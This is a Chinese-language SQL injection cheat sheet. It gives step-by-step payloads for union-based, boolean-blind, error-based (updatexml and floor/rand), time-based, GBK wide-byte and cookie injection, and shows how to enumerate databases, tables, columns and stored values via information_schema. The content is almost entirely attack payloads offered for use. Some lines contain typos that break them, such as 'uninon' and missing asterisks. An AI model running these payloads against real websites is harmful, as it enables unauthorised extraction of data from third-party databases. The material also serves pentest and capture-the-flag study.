一、union联合查询
1.先判断有无数字型注入点
?id=1 and 1=1
?id=1 and 1=2
若显示内容不同则存在注入点,若相同,
再判断有无字符型注入点
?id=1’
报错则为字符型注入
2.猜测注入点数量
?id=1 order by 2
3.查询显示字段
?id=1 and 1=2 uninon select 1,2
找出显示出错处
4.查询当前数据库名
?id=1 and 1=2 union select 1,database()
5.查询所有数据库名
?id=1 and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata
6.查询数据库里的所有表名
?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=数据库名
7.查询特定表的所有字段名
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名
8.查询值
?id=1 and 1=2 union select 1,字段名 from 表名
二、布尔盲注
1.查看现象,能报错,但没有报错信息,正确查询也显示不了查询内容就属于布尔盲注,只存在两种状态,对或错;
2.由页面的两种不同返回的状态来判定我们的闭合规则;
3.为了方便,我们这里假设返回正确用“yes”,返回错误用“no”来表示这两种状态
4.找到闭合规则后,我们在闭合规则里面 and 1=1 和 and 1=2 测试一下,看看最后返回是不是两种状态;
5.布尔盲注要用到length()和substr()语句,用两种状态来猜解数据库、表名等的长度和正确字母;
6.先用 and length(database())>2 来猜数据库的长度,使用的是二分法;
7.再用 and substr(database(),1,1)=‘t’ 来确定第一个字母,可用burp跑,26个字母,哪个字母返回yes则代表第一个字母就是它;
and substr(database(),2,1)=‘t’ 代表当前数据库的第二个字母;
8.最后结合长度,成功的将数据库猜解出来;
9.后面的操作跟union注入的步骤差不多了。
三、报错注入
1.注入点有报错信息
2.找到闭合规则
3.updatexml函数
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
4.count(*) floor(rand(0)2)
and select 1 from (select count(),concat((database()),floor (rand(0)2))x from information_schema.tables group by x)
或 select count() from information_schema.tables group by concat((database()),floor (rand(0)*2)
四、时间盲注
不管对错只返回一种信息,用sleep()可以延迟执行
sleep() 、 get_lock()
五、宽字节注入
单双引号被转义成反斜杠,但数据库用的是GBK编码
%df%5c 是汉字
%df’ and 1=2 union select database()
六、COOKIE注入
1.寻找形如“.asp?id=xx”类的带参数的URL。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“javascript:alert(document.cookie=“id=”+escape(“xx”));”,按Enter键后弹出一个对话框,内容是“id=xx”,
然后用原来的URL刷新页面,如果显示正常,说明应用是用Request(“id”)这种方式获取数据的。
4.重复上面的步骤,将常规SQL注入中的判断语句带入上面的URL:“javascript:alert(document.cookie=“id=”+escape(“xx and 1=1”));”
“javascript:alert(document.cookie=“id=”+escape(“xx and 1=2”));”。
和常规SQL注入一样,如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。
5.使用常规注入语句进行注入即可。